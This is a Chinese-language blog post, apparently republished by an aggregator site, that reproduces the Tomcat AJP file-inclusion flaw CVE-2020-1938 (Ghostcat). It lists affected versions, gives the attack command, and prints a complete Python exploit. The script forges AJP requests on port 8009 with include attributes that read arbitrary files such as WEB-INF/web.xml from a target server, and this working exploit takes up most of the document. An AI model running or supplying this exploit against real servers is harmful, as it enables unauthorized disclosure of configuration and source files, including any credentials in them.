Tomcat文件包含漏洞(CVE-2020-1938)复现

Posted whited

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Tomcat文件包含漏洞(CVE-2020-1938)复现相关的知识,希望对你有一定的参考价值。

  漏洞简介

cve-2020-1938是一个出现在Apache-Tomcat-Ajp的文件包含漏洞,攻击者可以利用该漏洞读取包含Tomcat上所有的webapp目录下的任意文件,入:webapp配置文件或源代码。

  由于Tomcat默认开启的AJP服务(8009端口)存在一处文件包含缺陷,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web目录文件。

  影响范围

受影响版本

Apache Tomcat 6

Apache Tomcat 7 < 7.0.100

Apache Tomcat 8 < 8.5.51

Apache Tomcat 9 < 9.0.31

不受影响版本

Apache Tomcat = 7.0.100

Apache Tomcat = 8.5.51

Apache Tomcat = 9.0.31

漏洞复现

1.扫描tomcat服务端口,可以看到Tomcat开启了AJP

 

 发现开启了8080和8009端口,证明存在漏洞

2.进行攻击

POC:https://github.com/0nise/CVE-2020-1938

攻击语句:python CVE-2020-1938.py your-ip -p 8009 -f WEB-INF/web.xml

 成功读取了WEB-INF下的web.xml文件

 WEB-INF目录下所有文件都可以读取

另附cve-2020-1938.py

  1 #!/usr/bin/env python
  2 #CNVD-2020-10487  Tomcat-Ajp lfi
  3 #by ydhcui
  4 import struct
  5 
  6 # Some references:
  7 # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
  8 def pack_string(s):
  9     if s is None:
 10         return struct.pack(">h", -1)
 11     l = len(s)
 12     return struct.pack(">H%dsb" % l, l, s.encode(\'utf8\'), 0)
 13 def unpack(stream, fmt):
 14     size = struct.calcsize(fmt)
 15     buf = stream.read(size)
 16     return struct.unpack(fmt, buf)
 17 def unpack_string(stream):
 18     size, = unpack(stream, ">h")
 19     if size == -1: # null string
 20         return None
 21     res, = unpack(stream, "%ds" % size)
 22     stream.read(1) # \\0
 23     return res
 24 class NotFoundException(Exception):
 25     pass
 26 class AjpBodyRequest(object):
 27     # server == web server, container == servlet
 28     SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
 29     MAX_REQUEST_LENGTH = 8186
 30     def __init__(self, data_stream, data_len, data_direction=None):
 31         self.data_stream = data_stream
 32         self.data_len = data_len
 33         self.data_direction = data_direction
 34     def serialize(self):
 35         data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
 36         if len(data) == 0:
 37             return struct.pack(">bbH", 0x12, 0x34, 0x00)
 38         else:
 39             res = struct.pack(">H", len(data))
 40             res += data
 41         if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
 42             header = struct.pack(">bbH", 0x12, 0x34, len(res))
 43         else:
 44             header = struct.pack(">bbH", 0x41, 0x42, len(res))
 45         return header + res
 46     def send_and_receive(self, socket, stream):
 47         while True:
 48             data = self.serialize()
 49             socket.send(data)
 50             r = AjpResponse.receive(stream)
 51             while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
 52                 r = AjpResponse.receive(stream)
 53 
 54             if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
 55                 break
 56 class AjpForwardRequest(object):
 57     _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
 58     REQUEST_METHODS = {\'GET\': GET, \'POST\': POST, \'HEAD\': HEAD, \'OPTIONS\': OPTIONS, \'PUT\': PUT, \'DELETE\': DELETE, \'TRACE\': TRACE}
 59     # server == web server, container == servlet
 60     SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
 61     COMMON_HEADERS = ["SC_REQ_ACCEPT",
 62         "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
 63         "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
 64         "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
 65     ]
 66     ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
 67     def __init__(self, data_direction=None):
 68         self.prefix_code = 0x02
 69         self.method = None
 70         self.protocol = None
 71         self.req_uri = None
 72         self.remote_addr = None
 73         self.remote_host = None
 74         self.server_name = None
 75         self.server_port = None
 76         self.is_ssl = None
 77         self.num_headers = None
 78         self.request_headers = None
 79         self.attributes = None
 80         self.data_direction = data_direction
 81     def pack_headers(self):
 82         self.num_headers = len(self.request_headers)
 83         res = ""
 84         res = struct.pack(">h", self.num_headers)
 85         for h_name in self.request_headers:
 86             if h_name.startswith("SC_REQ"):
 87                 code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
 88                 res += struct.pack("BB", 0xA0, code)
 89             else:
 90                 res += pack_string(h_name)
 91 
 92             res += pack_string(self.request_headers[h_name])
 93         return res
 94 
 95     def pack_attributes(self):
 96         res = b""
 97         for attr in self.attributes:
 98             a_name = attr[\'name\']
 99             code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
100             res += struct.pack("b", code)
101             if a_name == "req_attribute":
102                 aa_name, a_value = attr[\'value\']
103                 res += pack_string(aa_name)
104                 res += pack_string(a_value)
105             else:
106                 res += pack_string(attr[\'value\'])
107         res += struct.pack("B", 0xFF)
108         return res
109     def serialize(self):
110         res = ""
111         res = struct.pack("bb", self.prefix_code, self.method)
112         res += pack_string(self.protocol)
113         res += pack_string(self.req_uri)
114         res += pack_string(self.remote_addr)
115         res += pack_string(self.remote_host)
116         res += pack_string(self.server_name)
117         res += struct.pack(">h", self.server_port)
118         res += struct.pack("?", self.is_ssl)
119         res += self.pack_headers()
120         res += self.pack_attributes()
121         if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
122             header = struct.pack(">bbh", 0x12, 0x34, len(res))
123         else:
124             header = struct.pack(">bbh", 0x41, 0x42, len(res))
125         return header + res
126     def parse(self, raw_packet):
127         stream = StringIO(raw_packet)
128         self.magic1, self.magic2, data_len = unpack(stream, "bbH")
129         self.prefix_code, self.method = unpack(stream, "bb")
130         self.protocol = unpack_string(stream)
131         self.req_uri = unpack_string(stream)
132         self.remote_addr = unpack_string(stream)
133         self.remote_host = unpack_string(stream)
134         self.server_name = unpack_string(stream)
135         self.server_port = unpack(stream, ">h")
136         self.is_ssl = unpack(stream, "?")
137         self.num_headers, = unpack(stream, ">H")
138         self.request_headers = {}
139         for i in range(self.num_headers):
140             code, = unpack(stream, ">H")
141             if code > 0xA000:
142                 h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
143             else:
144                 h_name = unpack(stream, "%ds" % code)
145                 stream.read(1) # \\0
146             h_value = unpack_string(stream)
147             self.request_headers[h_name] = h_value
148     def send_and_receive(self, socket, stream, save_cookies=False):
149         res = []
150         i = socket.sendall(self.serialize())
151         if self.method == AjpForwardRequest.POST:
152             return res
153 
154         r = AjpResponse.receive(stream)
155         assert r.prefix_code == AjpResponse.SEND_HEADERS
156         res.append(r)
157         if save_cookies and \'Set-Cookie\' in r.response_headers:
158             self.headers[\'SC_REQ_COOKIE\'] = r.response_headers[\'Set-Cookie\']
159 
160         # read body chunks and end response packets
161         while True:
162             r = AjpResponse.receive(stream)
163             res.append(r)
164             if r.prefix_code == AjpResponse.END_RESPONSE:
165                 break
166             elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
167                 continue
168             else:
169                 raise NotImplementedError
170                 break
171 
172         return res
173 
174 class AjpResponse(object):
175     _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
176     COMMON_SEND_HEADERS = [
177             "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
178             "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
179             ]
180     def parse(self, stream):
181         # read headers
182         self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
183 
184         if self.prefix_code == AjpResponse.SEND_HEADERS:
185             self.parse_send_headers(stream)
186         elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
187             self.parse_send_body_chunk(stream)
188         elif self.prefix_code == AjpResponse.END_RESPONSE:
189             self.parse_end_response(stream)
190         elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
191             self.parse_get_body_chunk(stream)
192         else:
193             raise NotImplementedError
194 
195     def parse_send_headers(self, stream):
196         self.http_status_code, = unpack(stream, ">H")
197         self.http_status_msg = unpack_string(stream)
198         self.num_headers, = unpack(stream, ">H")
199         self.response_headers = {}
200         for i in range(self.num_headers):
201             code, = unpack(stream, ">H")
202             if code <= 0xA000: # custom header
203                 h_name, = unpack(stream, "%ds" % code)
204                 stream.read(1) # \\0
205                 h_value = unpack_string(stream)
206             else:
207                 h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
208                 h_value = unpack_string(stream)
209             self.response_headers[h_name] = h_value
210 
211     def parse_send_body_chunk(self, stream):
212         self.data_length, = unpack(stream, ">H")
213         self.data = stream.read(self.data_length+1)
214 
215     def parse_end_response(self, stream):
216         self.reuse, = unpack(stream, "b")
217 
218     def parse_get_body_chunk(self, stream):
219         rlen, = unpack(stream, ">H")
220         return rlen
221 
222     @staticmethod
223     def receive(stream):
224         r = AjpResponse()
225         r.parse(stream)
226         return r
227 
228 import socket
229 
230 def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
231     fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
232     fr.method = method
233     fr.protocol = "HTTP/1.1"
234     fr.req_uri = req_uri
235     fr.remote_addr = target_host
236     fr.remote_host = None
237     fr.server_name = target_host
238     fr.server_port = 80
239     fr.request_headers = {
240         \'SC_REQ_ACCEPT\': \'text/html\',
241         \'SC_REQ_CONNECTION\': \'keep-alive\',
242         \'SC_REQ_CONTENT_LENGTH\': \'0\',
243         \'SC_REQ_HOST\': target_host,
244         \'SC_REQ_USER_AGENT\': \'Mozilla\',
245         \'Accept-Encoding\': \'gzip, deflate, sdch\',
246         \'Accept-Language\': \'en-US,en;q=0.5\',
247         \'Upgrade-Insecure-Requests\': \'1\',
248         \'Cache-Control\': \'max-age=0\'
249     }
250     fr.is_ssl = False
251     fr.attributes = []
252     return fr
253 
254 class Tomcat(object):
255     def __init__(self, target_host, target_port):
256         self.target_host = target_host
257         self.target_port = target_port
258 
259         self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
260         self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
261         self.socket.connect((target_host, target_port))
262         self.stream = self.socket.makefile("rb", bufsize=0)
263 
264     def perform_request(self, req_uri, headers={}, method=\'GET\', user=None, password=None, attributes=[]):
265         self.req_uri = req_uri
266         self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
267         print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
268         if user is not None and password is not None:
269             self.forward_request.request_headers[\'SC_REQ_AUTHORIZATION\'] = "Basic " + ("%s:%s" % (user, password)).encode(\'base64\').replace(\'\\n\', \'\')
270         for h in headers:
271             self.forward_request.request_headers[h] = headers[h]
272         for a in attributes:
273             self.forward_request.attributes.append(a)
274         responses = self.forward_request.send_and_receive(self.socket, self.stream)
275         if len(responses) == 0:
276             return None, None
277         snd_hdrs_res = responses[0]
278         data_res = responses[1:-1]
279         if len(data_res) == 0:
280             print("No data in response. Headers:%s\\n" % snd_hdrs_res.response_headers)
281         return snd_hdrs_res, data_res
282 
283 \'\'\'
284 javax.servlet.include.request_uri
285 javax.servlet.include.path_info
286 javax.servlet.include.servlet_path
287 \'\'\'
288 
289 import argparse
290 parser = argparse.ArgumentParser()
291 parser.add_argument("target", type=str, help="Hostname or IP to attack")
292 parser.add_argument(\'-p\', \'--port\', type=int, default=8009, help="AJP port to attack (default is 8009)")
293 parser.add_argument("-f", \'--file\', type=str, default=\'WEB-INF/web.xml\', help="file path :(WEB-INF/web.xml)")
294 args = parser.parse_args()
295 t = Tomcat(args.target, args.port)
296 _,data = t.perform_request(\'/asdf\',attributes=[
297     {\'name\':\'req_attribute\',\'value\':[\'javax.servlet.include.request_uri\',\'/\']},
298     {\'name\':\'req_attribute\',\'value\':[\'javax.servlet.include.path_info\',args.file]},
299     {\'name\':\'req_attribute\',\'value\':[\'javax.servlet.include.servlet_path\',\'/\']},
300     ])
301 print(\'----------------------------\')
302 print("".join([d.data for d in data]))

 

以上是关于Tomcat文件包含漏洞(CVE-2020-1938)复现的主要内容,如果未能解决你的问题,请参考以下文章

Apache Tomcat文件包含漏洞紧急修复

文件年包含漏洞之——tomcat CVE-2020-1938漏洞复现

漏洞复现-Tomcat AJP 文件包含漏洞(CVE-2020-1938)

CVE-2020-1938 Tomcat 文件读取/包含

Tomcat 爆出高危漏洞!

Tomcat Ghostcat - AJP协议文件读取/文件包含漏洞